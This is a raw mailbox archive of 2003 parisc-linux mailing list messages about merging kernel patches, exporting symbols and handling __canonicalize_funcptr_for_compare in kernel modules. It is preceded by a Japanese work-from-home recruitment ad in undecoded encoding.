 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 $B:_Bp(BWord$B!&(BExcel$B$G$*;E;v$N=PMh$kJ}$rJg=8$7$F$$$^$9!#(B
 
$B!!!!!!!!!!!!!ZJg=8FbMF![(B
 $B!Z;~4V![(B5$B;~4V!?=5!!0J>e$N$*;~4V$N<h$l$kJ}(B
 $B!Z<}F~![(B3$B!A(B15$BK|1_!?7n!!0L$N<}F~$r4uK>$9$kJ}(B
 $B!!!!!!!!!J;~5k(B1,500$B1_!A(B2,500$B1_!K(B
 
 $B!|#1G/0J>e7QB3$G$-$kJ}(B
 $B!|%-!<%\!<%I$NBG$F$kJ}(B
 $B!|%o!<%I$G$*;E;v$r$7$?$$J}(B
 $B!|%(%/%;%k$G$*;E;v$r$7$?$$J}(B
 $B!z6HL30QBw7@Ls$K$F0BDj$7$?$*;E;v$,2DG=$G$9!z(B
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 $B>\:Y!&;qNA@A5a$O2<5-(BURL$B$+$i(B
 http://web-space.jp/jsa/
 $B!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y!y(B
 



From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: patch 2.4.21 (follow up)
Date: Mon, 12 May 2003 11:51:00 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <3EB777FD000014B0@ocpmta8.freegates.net>
References: <1052604831.19351.4.camel@dhcp22.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622446 25604 80.91.229.3 (22 Nov 2014 02:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>,
	"Joel Soete" <joel.soete@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 03:51:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 593B3482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 03:51:04 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 12 May 2003 11:51:00 +0200
In-Reply-To: <1052604831.19351.4.camel@dhcp22.swansea.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18448

>
>Its in the 2.4.21rc2-ac tree. I've sent most of it to Marcelo on the
>grounds that it is zero risk even in a -rc because parisc doesnt work
>in his tree anyway. He may ask me to wait for 2.4.22pre1 though
>
Thanks Alan,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: patch 2.4.21 (follow up)
Date: 12 May 2003 12:08:58 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <1052737737.31235.10.camel@dhcp22.swansea.linux.org.uk>
References: <3EA9466400001A07@ocpmta7.freegates.net>
	 <1051702331.19579.8.camel@dhcp22.swansea.linux.org.uk>
	 <3EBD7E24.408@tiscali.be>
	 <1052604831.19351.4.camel@dhcp22.swansea.linux.org.uk>
	 <20030512005240.GT29534@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622446 25608 80.91.229.3 (22 Nov 2014 02:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:06 +0000 (UTC)
Cc: Joel Soete <joel.soete@tiscali.be>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 06:07:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lxorguk.ukuu.org.uk (pc2-cwma1-4-cust86.swan.cable.ntl.com [213.105.254.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFE21482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 06:07:28 -0600 (MDT)
Original-Received: from dhcp22.swansea.linux.org.uk (dhcp22.swansea.linux.org.uk [127.0.0.1])
	by lxorguk.ukuu.org.uk (8.12.8/8.12.5) with ESMTP id h4CB93RQ031350;
	Mon, 12 May 2003 12:09:04 +0100
Original-Received: (from alan@localhost)
	by dhcp22.swansea.linux.org.uk (8.12.8/8.12.8/Submit) id h4CB928P031348;
	Mon, 12 May 2003 12:09:02 +0100
X-Authentication-Warning: dhcp22.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20030512005240.GT29534@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18449

On Llu, 2003-05-12 at 01:52, Matthew Wilcox wrote:
> On Sat, May 10, 2003 at 11:13:52PM +0100, Alan Cox wrote:
> > Its in the 2.4.21rc2-ac tree. I've sent most of it to Marcelo on the
> > grounds that it is zero risk even in a -rc because parisc doesnt work
> > in his tree anyway. He may ask me to wait for 2.4.22pre1 though
> 
> That's the argument that's been made for the ia64 patchset.  He's not
> been willing to take that either ;-(  Would it make life easier if you
> took that too?  I can send that on in a separate mail if you like.

Sure if you want - -ac is there to test stuff before it goes to Marcelo



From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Mon, 12 May 2003 13:11:55 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20030512121155.GV29534@parcelfarce.linux.theplanet.co.uk>
References: <20030511133037.GN27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622446 25613 80.91.229.3 (22 Nov 2014 02:14:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 06:11:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8778482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 06:11:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19FC9r-0003aU-HT; Mon, 12 May 2003 13:11:55 +0100
Content-Disposition: inline
In-Reply-To: <20030511133037.GN27494@lug-owl.de>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18450

On Sun, May 11, 2003 at 03:30:37PM +0200, Jan-Benedict Glaw wrote:
> Hi!

Hi Jan.  Thanks for all the work you've put in, I really appreciate it.

>  - Ressurect CONFIG_BINFM_SOM when built as module: the hpux/ directory
>    was completely missing (this part needs cleanup from a Makefile
>    specialist), EXPORT_SYMBOL() the hpux_gateway_page if neccessary.

I was already planning a CONFIG_HPUX; I just hadn't got round to
committing that bit to the tree.  I've done that now and I think it
should solve all the problems you were experiencing.

>  - Export some more symbols (memchr, pdc_tod_read, pdc_tod_set,
>    __flush_dcache_page, dcache_stride) to make various modules happy.

Done.  None of these seemed like stuff we shouldn't be exporting.

>  - Add various void * casts to pointer compares (to solve the
>    __canonicalize_funcptr_for_compare missing symbol when built as
>    module because libgcc.a isn't linked into these modules)

I'm not applying these bits.  It's just not reasonable to add (void *)
casts to every function pointer comparison.  I know Linus will reject it.
We need to find a better way to fix this one -- and I suspect the right
way is to implement a __canonicalize_funcptr_for_compare in the kernel
and EXPORT_SYMBOL it.

> --- arch/parisc/oprofile/init.c	8 May 2003 13:31:44 -0000	1.5
> +++ arch/parisc/oprofile/init.c	11 May 2003 13:09:18 -0000
> @@ -11,6 +11,8 @@
>  #include <linux/init.h>
>  #include <linux/kernel.h>
>  #include <linux/oprofile.h>
> +#include <linux/init.h>
> +#include <linux/errno.h>

hmm... init.h and errno.h are already included earlier, so I didn't
apply this patch.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Mon, 12 May 2003 15:22:48 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <20030512132248.GU27494@lug-owl.de>
References: <20030511133037.GN27494@lug-owl.de> <20030512121155.GV29534@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="7aQJ/pUO7E0NVzIB"
X-Trace: ger.gmane.org 1416622447 25618 80.91.229.3 (22 Nov 2014 02:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 07:22:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DA58482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 07:22:49 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 5C90D4AB99; Mon, 12 May 2003 15:22:48 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030512121155.GV29534@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18451

--7aQJ/pUO7E0NVzIB
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-05-12 13:11:55 +0100, Matthew Wilcox <willy@debian.org>
wrote in message <20030512121155.GV29534@parcelfarce.linux.theplanet.co.uk>:
> On Sun, May 11, 2003 at 03:30:37PM +0200, Jan-Benedict Glaw wrote:
> >  - Add various void * casts to pointer compares (to solve the
> >    __canonicalize_funcptr_for_compare missing symbol when built as
> >    module because libgcc.a isn't linked into these modules)
>=20
> I'm not applying these bits.  It's just not reasonable to add (void *)
> casts to every function pointer comparison.  I know Linus will reject it.
> We need to find a better way to fix this one -- and I suspect the right
> way is to implement a __canonicalize_funcptr_for_compare in the kernel
> and EXPORT_SYMBOL it.

I thougt about that, but didn't do it this way because I didn't like the
approach to double libgcc's __canonicalize_funcptr_for_compare. Maybe
we'd simply find a way to EXPORT_SYMBOL libgcc's version of that one...

> > --- arch/parisc/oprofile/init.c	8 May 2003 13:31:44 -0000	1.5
> > +++ arch/parisc/oprofile/init.c	11 May 2003 13:09:18 -0000
> > @@ -11,6 +11,8 @@
> >  #include <linux/init.h>
> >  #include <linux/kernel.h>
> >  #include <linux/oprofile.h>
> > +#include <linux/init.h>
> > +#include <linux/errno.h>
>=20
> hmm... init.h and errno.h are already included earlier, so I didn't
> apply this patch.

Oh, fs*k. I had a merge conflict there and didn't pay enough attention:(
init.h and errno.h should be included once each... Sorry.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--7aQJ/pUO7E0NVzIB
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+v6AnHb1edYOZ4bsRAgSOAJ4udCTgBpLg2l6rfMbEczYnP+jPYgCfeQtL
MwINZ1ESBQdY5+ysmZl4I7w=
=7F4G
-----END PGP SIGNATURE-----

--7aQJ/pUO7E0NVzIB--


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Mon, 12 May 2003 17:19:08 +0200
Lines: 68
Approved: news@gmane.org
Message-ID: <20030512151907.GX27494@lug-owl.de>
References: <20030511133037.GN27494@lug-owl.de> <20030512121155.GV29534@parcelfarce.linux.theplanet.co.uk> <20030512132248.GU27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="SpiXHX+fVORj1nzn"
X-Trace: ger.gmane.org 1416622447 25624 80.91.229.3 (22 Nov 2014 02:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 09:19:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38875482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 09:19:09 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 43E014AC11; Mon, 12 May 2003 17:19:08 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030512132248.GU27494@lug-owl.de>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18452

--SpiXHX+fVORj1nzn
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 2003-05-12 15:22:48 +0200, Jan-Benedict Glaw <jbglaw@lug-owl.de>
wrote in message <20030512132248.GU27494@lug-owl.de>:
> On Mon, 2003-05-12 13:11:55 +0100, Matthew Wilcox <willy@debian.org>
> wrote in message <20030512121155.GV29534@parcelfarce.linux.theplanet.co.u=
k>:
> > On Sun, May 11, 2003 at 03:30:37PM +0200, Jan-Benedict Glaw wrote:
> > >  - Add various void * casts to pointer compares (to solve the
> > >    __canonicalize_funcptr_for_compare missing symbol when built as
> > >    module because libgcc.a isn't linked into these modules)
> >=20
> > I'm not applying these bits.  It's just not reasonable to add (void *)
> > casts to every function pointer comparison.  I know Linus will reject i=
t.
> > We need to find a better way to fix this one -- and I suspect the right
> > way is to implement a __canonicalize_funcptr_for_compare in the kernel
> > and EXPORT_SYMBOL it.
>=20
> I thougt about that, but didn't do it this way because I didn't like the
> approach to double libgcc's __canonicalize_funcptr_for_compare. Maybe
> we'd simply find a way to EXPORT_SYMBOL libgcc's version of that one...

I got a private reply to this part (which I accidentally /dev/null'ed)
basically stating that the kernel should implement an own version of
__canonicalize_funcptr_for_compare (instead of using that one which is in
libgcc).

Greping around reveals no own version in the Linux kernel so that one
that is used with built-in function pointers already seems to be
borrowed from libgcc. So a question remains:

	Shall we have an own version, or shall we stick wich gcc's
	version?

I already do know that libgcc did bring some problems with it along
(generate an athlon-aware compiler and then build a kernel for an
original i386:-) But I do _not_ know if those problems got smashed...

I think it would be most helpful to get some people's comments who are
more into gcc...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--SpiXHX+fVORj1nzn
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+v7trHb1edYOZ4bsRAoaGAJ0VXnWOApbcsViDGoEyMAzjkAthrgCfbTH/
aMaZMuP+9gZ+b3qb012QDKc=
=E2PK
-----END PGP SIGNATURE-----

--SpiXHX+fVORj1nzn--


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Mon, 12 May 2003 10:58:48 -0400 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <200305121458.h4CEwmom001051@hiauly1.hia.nrc.ca>
References: <20030512132248.GU27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622447 25633 80.91.229.3 (22 Nov 2014 02:14:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:07 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jbglaw@lug-owl.de (Jan-Benedict Glaw)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 09:21:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id CD246482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 09:21:47 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h4CEwngL001053
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 10:58:49 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h4CEwmom001051;
	Mon, 12 May 2003 10:58:48 -0400 (EDT)
In-Reply-To: <20030512132248.GU27494@lug-owl.de> from "Jan-Benedict Glaw" at May 12, 2003 03:22:48 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18453

> > I'm not applying these bits.  It's just not reasonable to add (void *)
> > casts to every function pointer comparison.  I know Linus will reject it.
> > We need to find a better way to fix this one -- and I suspect the right
> > way is to implement a __canonicalize_funcptr_for_compare in the kernel
> > and EXPORT_SYMBOL it.
> 
> I thougt about that, but didn't do it this way because I didn't like the
> approach to double libgcc's __canonicalize_funcptr_for_compare. Maybe
> we'd simply find a way to EXPORT_SYMBOL libgcc's version of that one...

No, you don't want to use the libgcc version as it is specific to
user programs.  A kernel version is needed.  I think all that needs to
be done is return the function pointer passed to it.  It should totally
disappear if inlined.  Thus, __canonicalize_funcptr_for_compare could
be defined in a header.

It might actually be necessary to do function pointer canonicalization
in the kernel in situations involving loadable modules.  One would
have to look at how the loader manages the plabels.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.5] Various cleanups
Date: Mon, 12 May 2003 08:36:59 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20030512153659.GK4509@tausq.org>
References: <20030512132248.GU27494@lug-owl.de> <200305121458.h4CEwmom001051@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622448 25635 80.91.229.3 (22 Nov 2014 02:14:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:08 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 12 09:40:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DCA3482D
	for <parisc-linux@lists.parisc-linux.org>; Mon, 12 May 2003 09:40:08 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id B2FF7CD28E; Mon, 12 May 2003 08:36:59 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200305121458.h4CEwmom001051@hiauly1.hia.nrc.ca>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18454

> No, you don't want to use the libgcc version as it is specific to
> user programs.  A kernel version is needed.  I think all that needs to
> be done is return the function pointer passed to it.  It should totally
> disappear if inlined.  Thus, __canonicalize_funcptr_for_compare could
> be defined in a header.

how does that work? __c_f_f_c is emitted by the compiler internally,
right? how can we define an inline version of this function?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:47 2018
X-Mozilla-Status: 0011
